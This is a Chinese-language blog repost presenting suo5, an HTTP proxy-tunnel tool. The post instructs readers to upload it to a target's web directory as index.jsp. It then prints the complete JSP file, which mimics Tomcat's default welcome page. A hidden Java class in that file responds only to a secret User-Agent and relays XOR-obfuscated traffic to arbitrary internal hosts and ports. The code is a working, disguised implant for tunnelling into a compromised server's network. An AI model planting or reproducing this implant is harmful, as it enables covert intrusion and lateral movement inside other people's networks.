Suo5-HTTP 代理隧道工具
一、介绍
地址: https://github.com/zema1/suo5
suo5 是一个全新的 HTTP 代理隧道,基于 HTTP/1.1 的 Chunked-Encoding 构建。相比 Neo-reGeorg 等传统隧道工具, suo5 的性能可以达到其数十倍
二、使用方式
上传suo5.jsp 到目标解析目录即可,改名为index.jsp
文章来源:https://www.toymoban.com/news/detail-540903.html
文章来源地址https://www.toymoban.com/news/detail-540903.html
<%--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--%>
<%@ page session="false" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
<%
java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy");
request.setAttribute("year", sdf.format(new java.util.Date()));
request.setAttribute("tomcatUrl", "https://tomcat.apache.org/");
request.setAttribute("tomcatDocUrl", "/docs/");
request.setAttribute("tomcatExamplesUrl", "/examples/");
%>
<%@ page trimDirectiveWhitespaces="true" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.io.*" %>
<%@ page import="java.net.Socket" %>
<%@ page import="java.net.InetSocketAddress" %>
<%@ page import="java.util.Date" %>
<%@ page import="java.util.Arrays" %>
<%!
public class Safety implements Runnable {
InputStream gInStream;
OutputStream gOutStream;
private void setStream(InputStream in, OutputStream out) {
gInStream = in;
gOutStream = out;
}
public void process(ServletRequest sReq, ServletResponse sResp) {
HttpServletRequest request = (HttpServletRequest) sReq;
HttpServletResponse response = (HttpServletResponse) sResp;
String agent = request.getHeader("User-Agent");
String contentType = request.getHeader("Content-Type");
if (agent == null || !agent.equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3")) {
return;
}
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
}
}
public void readInputStreamWithTimeout(InputStream is, byte[] b, int timeoutMillis) throws IOException, InterruptedException {
int bufferOffset = 0;
long maxTimeMillis = new Date().getTime() + timeoutMillis;
while (new Date().getTime() < maxTimeMillis && bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
if (is.available() < readLength) {
readLength = is.available();
}
// can alternatively use bufferedReader, guarded by isReady():
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
Thread.sleep(200);
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readInputStreamWithTimeout(in, data, 2000);
OutputStream out = response.getOutputStream();
out.write(data);
}
private HashMap newCreate(byte s) {
HashMap<String, byte[]> m = new HashMap<String, byte[]>();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap<String, byte[]> m = new HashMap<String, byte[]>();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap<String, byte[]> m = new HashMap<String, byte[]>();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap<String, byte[]> m = new HashMap<String, byte[]>();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
private byte[] marshal(HashMap<String, byte[]> m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
for (String key : m.keySet()) {
byte[] value = m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = data[data.length / 2];
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap<String, byte[]> unmarshal(InputStream in) throws Exception {
DataInputStream reader = new DataInputStream(in);
byte[] header = new byte[4 + 1];
reader.readFully(header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
reader.readFully(bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap<String, byte[]> m = new HashMap<String, byte[]>();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = Arrays.copyOfRange(bs, i, i+kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = Arrays.copyOfRange(bs, i, i+4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = Arrays.copyOfRange(bs, i, i+vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
final BufferedInputStream reqReader = new BufferedInputStream(reqInputStream);
HashMap<String, byte[]> dataMap;
dataMap = unmarshal(reqReader);
byte[] action = dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(8 * 1024);
final OutputStream respOutStream = resp.getOutputStream();
resp.setHeader("X-Accel-Buffering", "no");
String host = new String(dataMap.get("h"));
int port = Integer.parseInt(new String(dataMap.get("p")));
Socket sc;
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Safety p = new Safety();
p.setStream(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqReader, scOutStream);
} catch (Exception e) {
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = Arrays.copyOfRange(readBuf, 0, 0+n);
byte[] finalData = marshal(newData(dataTmp));
outputStream.write(finalData);
outputStream.flush();
}
}
private void readReq(BufferedInputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap<String, byte[]> dataMap;
dataMap = unmarshal(bufInputStream);
byte[] action = dataMap.get("ac");
if (action.length != 1) {
return;
}
if (action[0] == 0x02) {
socketOutStream.close();
return;
} else if (action[0] == 0x01) {
byte[] data = dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
ServletContext ctx = request.getSession().getServletContext();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap<String, byte[]> dataMap;
dataMap = unmarshal(reader);
String clientId = new String(dataMap.get("id"));
byte[] action = dataMap.get("ac");
if (action.length != 1) {
resp.setStatus(403);
return;
}
resp.setBufferSize(8 * 1024);
OutputStream respOutStream = resp.getOutputStream();
if (action[0] == 0x02) {
OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
if (scOutStream != null) {
scOutStream.close();
}
return;
} else if (action[0] == 0x01) {
OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
if (scOutStream == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
byte[] data = dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
}
resp.setHeader("X-Accel-Buffering", "no");
String host = new String(dataMap.get("h"));
int port = Integer.parseInt(new String(dataMap.get("p")));
Socket sc;
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = sc.getOutputStream();
ctx.setAttribute(clientId, scOutStream);
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
InputStream scInStream = sc.getInputStream();
try {
readSocket(scInStream, respOutStream);
} catch (Exception e) {
} finally {
sc.close();
respOutStream.close();
ctx.removeAttribute(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream);
} catch (Exception e) {
}
}
}
%>
<%
Safety o = new Safety();
o.process(request, response);
%>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title><%=request.getServletContext().getServerInfo() %></title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="${tomcatUrl}">Home</a></span>
<span id="nav-hosts"><a href="${tomcatDocUrl}">Documentation</a></span>
<span id="nav-config"><a href="${tomcatDocUrl}config/">Configuration</a></span>
<span id="nav-examples"><a href="${tomcatExamplesUrl}">Examples</a></span>
<span id="nav-wiki"><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Wiki</a></span>
<span id="nav-lists"><a href="${tomcatUrl}lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="${tomcatUrl}findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>${pageContext.servletContext.serverInfo}</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
</div>
<div id="notice">
<img id="tomcat-logo" src="tomcat.svg" alt="[tomcat logo]" />
<div id="tasks">
<h3>Recommended Reading:</h3>
<h4><a href="${tomcatDocUrl}security-howto.html">Security Considerations How-To</a></h4>
<h4><a href="${tomcatDocUrl}manager-howto.html">Manager Application How-To</a></h4>
<h4><a href="${tomcatDocUrl}cluster-howto.html">Clustering/Session Replication How-To</a></h4>
</div>
</div>
<div id="actions">
<div class="button">
<a class="container shadow" href="/manager/status"><span>Server Status</span></a>
</div>
<div class="button">
<a class="container shadow" href="/manager/html"><span>Manager App</span></a>
</div>
<div class="button">
<a class="container shadow" href="/host-manager/html"><span>Host Manager</span></a>
</div>
</div>
<br class="separator" />
</div>
<div id="middle" class="curved container">
<h3>Developer Quick Start</h3>
<div class="col25">
<div class="container">
<p><a href="${tomcatDocUrl}setup.html">Tomcat Setup</a></p>
<p><a href="${tomcatDocUrl}appdev/">First Web Application</a></p>
</div>
</div>
<div class="col25">
<div class="container">
<p><a href="${tomcatDocUrl}realm-howto.html">Realms & AAA</a></p>
<p><a href="${tomcatDocUrl}jndi-datasource-examples-howto.html">JDBC DataSources</a></p>
</div>
</div>
<div class="col25">
<div class="container">
<p><a href="${tomcatExamplesUrl}">Examples</a></p>
</div>
</div>
<div class="col25">
<div class="container">
<p><a href="https://cwiki.apache.org/confluence/display/TOMCAT/Specifications">Servlet Specifications</a></p>
<p><a href="https://cwiki.apache.org/confluence/display/TOMCAT/Tomcat+Versions">Tomcat Versions</a></p>
</div>
</div>
<br class="separator" />
</div>
<div id="lower">
<div id="low-manage" class="">
<div class="curved container">
<h3>Managing Tomcat</h3>
<p>For security, access to the <a href="/manager/html">manager webapp</a> is restricted.
Users are defined in:</p>
<pre>$CATALINA_HOME/conf/tomcat-users.xml</pre>
<p>In Tomcat 9.0 access to the manager application is split between
different users. <a href="${tomcatDocUrl}manager-howto.html">Read more...</a></p>
<br />
<h4><a href="${tomcatDocUrl}RELEASE-NOTES.txt">Release Notes</a></h4>
<h4><a href="${tomcatDocUrl}changelog.html">Changelog</a></h4>
<h4><a href="${tomcatUrl}migration.html">Migration Guide</a></h4>
<h4><a href="${tomcatUrl}security.html">Security Notices</a></h4>
</div>
</div>
<div id="low-docs" class="">
<div class="curved container">
<h3>Documentation</h3>
<h4><a href="${tomcatDocUrl}">Tomcat 9.0 Documentation</a></h4>
<h4><a href="${tomcatDocUrl}config/">Tomcat 9.0 Configuration</a></h4>
<h4><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Tomcat Wiki</a></h4>
<p>Find additional important configuration information in:</p>
<pre>$CATALINA_HOME/RUNNING.txt</pre>
<p>Developers may be interested in:</p>
<ul>
<li><a href="https://tomcat.apache.org/bugreport.html">Tomcat 9.0 Bug Database</a></li>
<li><a href="${tomcatDocUrl}api/index.html">Tomcat 9.0 JavaDocs</a></li>
<li><a href="https://github.com/apache/tomcat/tree/9.0.x">Tomcat 9.0 Git Repository at GitHub</a></li>
</ul>
</div>
</div>
<div id="low-help" class="">
<div class="curved container">
<h3>Getting Help</h3>
<h4><a href="${tomcatUrl}faq/">FAQ</a> and <a href="${tomcatUrl}lists.html">Mailing Lists</a></h4>
<p>The following mailing lists are available:</p>
<ul>
<li id="list-announce"><strong><a href="${tomcatUrl}lists.html#tomcat-announce">tomcat-announce</a><br />
Important announcements, releases, security vulnerability notifications. (Low volume).</strong>
</li>
<li><a href="${tomcatUrl}lists.html#tomcat-users">tomcat-users</a><br />
User support and discussion
</li>
<li><a href="${tomcatUrl}lists.html#taglibs-user">taglibs-user</a><br />
User support and discussion for <a href="${tomcatUrl}taglibs/">Apache Taglibs</a>
</li>
<li><a href="${tomcatUrl}lists.html#tomcat-dev">tomcat-dev</a><br />
Development mailing list, including commit messages
</li>
</ul>
</div>
</div>
<br class="separator" />
</div>
<div id="footer" class="curved container">
<div class="col20">
<div class="container">
<h4>Other Downloads</h4>
<ul>
<li><a href="${tomcatUrl}download-connectors.cgi">Tomcat Connectors</a></li>
<li><a href="${tomcatUrl}download-native.cgi">Tomcat Native</a></li>
<li><a href="${tomcatUrl}taglibs/">Taglibs</a></li>
<li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
</ul>
</div>
</div>
<div class="col20">
<div class="container">
<h4>Other Documentation</h4>
<ul>
<li><a href="${tomcatUrl}connectors-doc/">Tomcat Connectors</a></li>
<li><a href="${tomcatUrl}connectors-doc/">mod_jk Documentation</a></li>
<li><a href="${tomcatUrl}native-doc/">Tomcat Native</a></li>
<li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
</ul>
</div>
</div>
<div class="col20">
<div class="container">
<h4>Get Involved</h4>
<ul>
<li><a href="${tomcatUrl}getinvolved.html">Overview</a></li>
<li><a href="${tomcatUrl}source.html">Source Repositories</a></li>
<li><a href="${tomcatUrl}lists.html">Mailing Lists</a></li>
<li><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Wiki</a></li>
</ul>
</div>
</div>
<div class="col20">
<div class="container">
<h4>Miscellaneous</h4>
<ul>
<li><a href="${tomcatUrl}contact.html">Contact</a></li>
<li><a href="${tomcatUrl}legal.html">Legal</a></li>
<li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li>
<li><a href="https://www.apache.org/foundation/thanks.html">Thanks</a></li>
</ul>
</div>
</div>
<div class="col20">
<div class="container">
<h4>Apache Software Foundation</h4>
<ul>
<li><a href="${tomcatUrl}whoweare.html">Who We Are</a></li>
<li><a href="${tomcatUrl}heritage.html">Heritage</a></li>
<li><a href="https://www.apache.org">Apache Home</a></li>
<li><a href="${tomcatUrl}resources.html">Resources</a></li>
</ul>
</div>
</div>
<br class="separator" />
</div>
<p class="copyright">Copyright ©1999-${year} Apache Software Foundation. All Rights Reserved</p>
</div>
</body>
</html>
到了这里,关于Suo5-HTTP 代理隧道工具的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!